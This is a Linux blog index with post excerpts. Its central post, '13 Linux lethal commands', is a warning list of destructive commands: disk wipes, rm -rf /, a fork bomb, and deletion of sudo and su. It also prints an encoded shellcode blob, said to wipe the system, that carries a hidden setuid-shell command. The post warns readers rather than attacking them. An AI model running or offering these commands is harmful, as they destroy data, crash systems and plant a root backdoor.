Fastest way to create ramdisk in Ubuntu/Linux

I hope many of you will agree that sometimes it’s really good idea to have some small amount of RAM mounted as a filesystem. It may be necessary when running some bash or perl script that handles, say, thousands of small files so it’s much more effective not to waste computer resources on reading/writing data on hard disk but keep those files directly in memory. This idea is known as […]

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Install Ruby 1.8.7 from sources in Centos 5.5

Centos 5.5 official repository is rather outdated for today so the latest Ruby available there is 1.8.6. If you need a newer version e.g. 1.8.7 you should install if from sources: 0. Install prerequisites: sudo yum install gcc zlib zlib-devel 1. Download the latest version of Ruby from project’s FTP: cd /usr/src/ sudo -s wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7.tar.gz tar -xvzf ruby-1.8.7.tar.gz cd ruby-1.8.7 ./configure –enable-pthread make make install 2. Check ruby’s version […]

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13 Linux lethal commands

dead linuxIn this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :( ){:|:&};: #also known as fork bomb

3. This one does the same as "rm -rf /":

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators -- just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

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Quick fix of FreeBSD rtld vulnerability

Yesterday really serious security bug was found in FreeBSD (from 7.1 to 8.0). Using public exploit local user can gain root privileges on vulnerable system. Below is an easy way solution to fix this terrible bug: % cd /usr/src/libexec/rtld-elf/ % fetch http://people.freebsd.org/~cperciva/rtld.patch % cat rtld.patch | patch -p1 % make && make install && make clean Thanks to soko1 from truebsd.org.

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Postgresql: show tables, show databases, show columns, describe table

PostgreSQL is one of the best database engines for an average web project and many who moves to psql from mysql (for example) often ask the following questions: what  is the analog of “show tables” in postgres? or how can I get the list of databases in postgres like “show databases” in mysql? The answers are short: mysql: SHOW TABLES postgresql: \d postgresql: SELECT table_name FROM information_schema.tables WHERE table_schema = […]

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